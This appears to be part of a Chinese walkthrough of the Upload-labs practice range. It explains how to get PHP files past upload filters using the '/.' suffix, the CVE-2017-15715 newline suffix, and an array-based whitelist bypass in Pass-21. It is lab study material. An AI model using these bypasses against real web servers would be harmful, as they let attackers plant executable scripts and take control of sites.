
POST型00截断绕过

思路一

move_uploaded_file会忽略末尾的/.

本关用move_uploaded_file函数执行上传动作,该函数会忽略文件末尾的/.,因此可以在文件名后加/.这两个符号来绕过黑名单的限制。原理不太懂

思路二

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

apache2.4.0~2.4.29版本 判断后缀时会带上末尾的换行符,也就是说.php%0A这个后缀和.php一样都会被apache当作php文件解析。

这个漏洞只有Linux能用,倒不是因为windows上的apache没有这个问题,而是因为windows不允许使用换行符作为文件名的结尾。​​​​​​​

​​​​​​​

Pass-21(MIME验证+白名单+上传路径可控)

这一关白名单
验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
-->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组

例如我上传upload.php.jpg

就会返回数组

array(3){
[0]=>upload,
[1]=>php,
[2]=>jpg
}
--> 判断数组最后一个元素是否在白名单中 由于是白名单校验 所以不能利用 $_FILES['upload_file']['name']

--> 数组第一位和$file[count($file) - 1]进行拼接,减1是因为数组下标默认从0开始 最后保存文件名file_name
--> 上传文件

想要绕过白名单上传,很明显需要使end($file)和$file[count($file)-1]指向不同的内容,

end($file)是合法的后缀用于骗过白名单,而$file[count($file)-1]是实际上传的后缀

那怎样才能让数组最后一个元素和$file[count($file)-1]不一样呢?

由于explode函数只能分割字符串 那么用$_POST['save_name']上传一个数组就绕过了这段代码

$file = empty($_POST['save_name'])?$_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
              $file = explode('.', strtolower($file));
}

却成为了$file数组

那么让数组最后一个元素为合法后缀

array(3){
['save_name']​​​​​​​[0]=>upload.php
['save_name']​​​​​​​[2]=>jpg
}

正常来说** end($file)=$file[count($file) - 1] **

但我没有上传下标为['save_name']​​​​​​​[1]=>xxx的数组元素 所以2-1=1 数组元素为空

那么$file_name = reset($file) . '.' . $file[count($file) - 1]; 保存成了upload.php空字符 也就是upload.php

​​​​​​​从而实现了绕过白名单

当然你也可以使用**apache未知后缀名的解析漏洞 ****记得设置 phpts版本 中间件 设置Apache以moudel方式连接 **

防御手段

白名单+二次渲染+随机文件夹+随机文件名+变态WAF+无敌杀毒软件

标签: php 安全 web安全

本文转载自: https://blog.csdn.net/weixin_54894046/article/details/127239720
版权归原作者 migiforever@xyz 所有, 如有侵权,请联系我们删除。

“Upload-labs 1-21关 靶场通关笔记(含代码审计)”的评论:

还没有评论